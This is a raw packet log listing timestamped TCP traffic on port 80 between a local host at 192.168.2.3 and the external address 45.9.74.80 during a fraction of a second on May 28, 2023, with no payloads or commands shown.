May 28, 2023 10:42:42.825074911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.825112104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.825112104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.825279951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.849816084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.849880934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.849931002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.849977970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850023031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850047112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850070000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850101948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850119114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850162029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850163937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850209951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850250959 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850260019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850308895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850353003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850358963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850404978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850450039 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850451946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850498915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850541115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850545883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850594044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850635052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850641012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850687981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850729942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850734949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850780964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850822926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850825071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850869894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850910902 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.850915909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.850964069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851006031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851010084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851058006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851098061 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851104975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851150990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851195097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851197958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851249933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851291895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851296902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851344109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851385117 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851389885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851438046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851485968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851495028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851533890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851577997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851581097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851629019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851669073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851675034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851722956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851735115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851769924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851816893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851856947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.851865053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851911068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851958036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.851958036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.852004051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.852018118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.852050066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.852097034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.852138042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.852236032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.852372885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877165079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877228022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877279043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877326965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877372026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877387047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877418995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877444983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877466917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877513885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877563000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877607107 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877608061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877655029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877695084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877705097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877751112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877789021 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877794981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877840042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877882004 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877883911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877928972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.877969027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.877973080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878019094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878057957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878062963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878148079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878190041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878192902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878243923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878285885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878288031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878334999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878376007 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878379107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878424883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878464937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878470898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878515959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878559113 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878561020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878606081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878650904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878654957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878695011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878736973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878739119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878784895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878803015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878830910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878875017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878914118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.878917933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.878962994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879003048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.879008055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879054070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879101038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879141092 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.879146099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879199028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879214048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.879247904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879290104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.879292011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879338026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879381895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879381895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.879426003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879473925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.879513979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.880388975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.904321909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904416084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904469013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904522896 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.904531956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904589891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904639006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.904653072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904701948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904757977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904764891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.904824972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904833078 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.904890060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904944897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.904958010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905006886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905071020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905102015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905126095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905169964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905220032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905241966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905273914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905313015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905330896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905395031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905463934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905468941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905510902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905556917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905606031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905616999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905661106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905709982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905720949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905750036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905776024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905819893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905883074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905890942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905937910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.905958891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.905992031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906039000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906101942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906111002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906155109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906203032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906213999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906266928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906333923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906344891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906390905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906439066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906450987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906497955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906546116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906557083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906604052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906650066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906661987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906708956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906763077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906764030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906810999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906857967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906869888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906919003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.906965017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.906975985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.907022953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.907068968 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.907080889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.907393932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.931771994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.931823969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.931884050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.931947947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.931993961 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.931999922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932050943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.932058096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932109118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932172060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932199001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.932230949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932250977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.932313919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932379961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932434082 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.932441950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932488918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932533979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932584047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.932593107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932660103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.932670116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.932713985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.933959961 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.961503983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.986555099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986623049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986669064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986730099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986764908 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.986784935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986833096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986880064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986938953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.986938953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.986987114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987035990 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987047911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987096071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987159014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987168074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987211943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987267017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987318039 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987328053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987379074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987428904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987442017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987512112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987519026 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987565994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987613916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987668037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987675905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987739086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987739086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987792969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987857103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987863064 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.987906933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.987955093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988013983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988014936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988064051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988112926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988126040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988174915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988225937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988238096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988312960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988343954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988400936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988455057 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988459110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988509893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988555908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988601923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988663912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988665104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988713026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988754034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988770962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988817930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988862991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988909960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.988922119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988987923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.988993883 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989037991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989078999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989095926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989140987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989185095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989234924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989245892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989295006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989343882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989355087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989420891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989428043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989470005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989499092 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989525080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989573002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989619970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989666939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989679098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989742994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989752054 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989795923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989823103 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989849091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989895105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989939928 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.989986897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.989998102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990067005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.990072012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.990118027 CEST	80	49704	45.9.74.80	192.168.2.3
